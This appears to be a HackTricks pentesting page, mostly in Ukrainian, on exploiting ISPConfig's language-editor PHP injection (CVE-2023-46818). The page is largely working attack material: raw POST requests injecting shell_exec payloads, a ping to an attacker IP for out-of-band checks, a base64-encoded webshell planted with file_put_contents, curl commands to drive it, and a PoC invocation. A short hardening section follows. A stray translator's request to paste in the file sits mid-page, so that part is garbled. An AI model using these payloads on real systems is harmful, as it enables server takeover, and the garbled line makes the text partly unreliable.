ISPConfig
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Огляд
ISPConfig — панель керування хостингом з відкритим вихідним кодом. У старіших збірках 3.2.x була функція редактора мовних файлів, яка при увімкненні для суперадміністратора дозволяла довільну ін’єкцію PHP-коду через пошкоджений запис перекладу. Це може призвести до RCE в контексті веб-сервера і, залежно від способу виконання PHP, до privilege escalation.
Ключові шляхи за замовчуванням:
- Корінь веб-сервера зазвичай знаходиться в
/var/www/ispconfig
при обслуговуванні черезphp -S
або через Apache/nginx. - Admin UI доступний на HTTP(S) vhost (іноді прив'язаний лише до localhost; за потреби використайте SSH port-forward).
Порада: Якщо панель прив'язана локально (наприклад, 127.0.0.1:8080
), перенаправте її:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
Language editor PHP code injection (CVE-2023-46818)
- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Preconditions:
- Login as the built-in superadmin account
admin
(other roles are not affected according to the vendor) - Language editor must be enabled:
admin_allow_langedit=yes
in/usr/local/ispconfig/security/security_settings.ini
- Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
Manual exploitation flow
- Open/create a language file to obtain CSRF tokens
Send a first POST to initialize the form and parse the CSRF fields from the HTML response (csrf_id
, csrf_key
). Example request path: /admin/language_edit.php
.
- Inject PHP via records[] and save
Submit a second POST including the CSRF fields and a malicious translation record. Minimal command-execution probes:
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
Позаканальний тест (спостереження ICMP):
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- Створити файли та розмістити webshell
Використовуйте file_put_contents
для створення файлу в веб-доступному шляху (наприклад, admin/
):
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
Потім напиши простий webshell, використовуючи base64, щоб уникнути небажаних символів у POST body:
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
Будь ласка, вставте вміст файлу src/network-services-pentesting/pentesting-web/ispconfig.md, який потрібно перекласти.
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
Якщо PHP запускається від імені root (наприклад, через php -S 127.0.0.1:8080
запущений root), це дає негайний root RCE. В іншому випадку ви отримуєте виконання коду від імені користувача веб-сервера.
Python PoC
Готовий до використання експлоїт автоматизує token handling та payload delivery:
Приклад запуску:
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
Посилення захисту
- Оновіть до 3.2.11p1 або пізнішої версії
- Вимкніть редактор мов, якщо це не суворо необхідно:
admin_allow_langedit=no
- Уникайте запуску панелі як root; налаштуйте PHP-FPM або веб-сервер так, щоб скидати привілеї
- Забезпечте надійну аутентифікацію для вбудованого облікового запису
admin
References
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 – NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.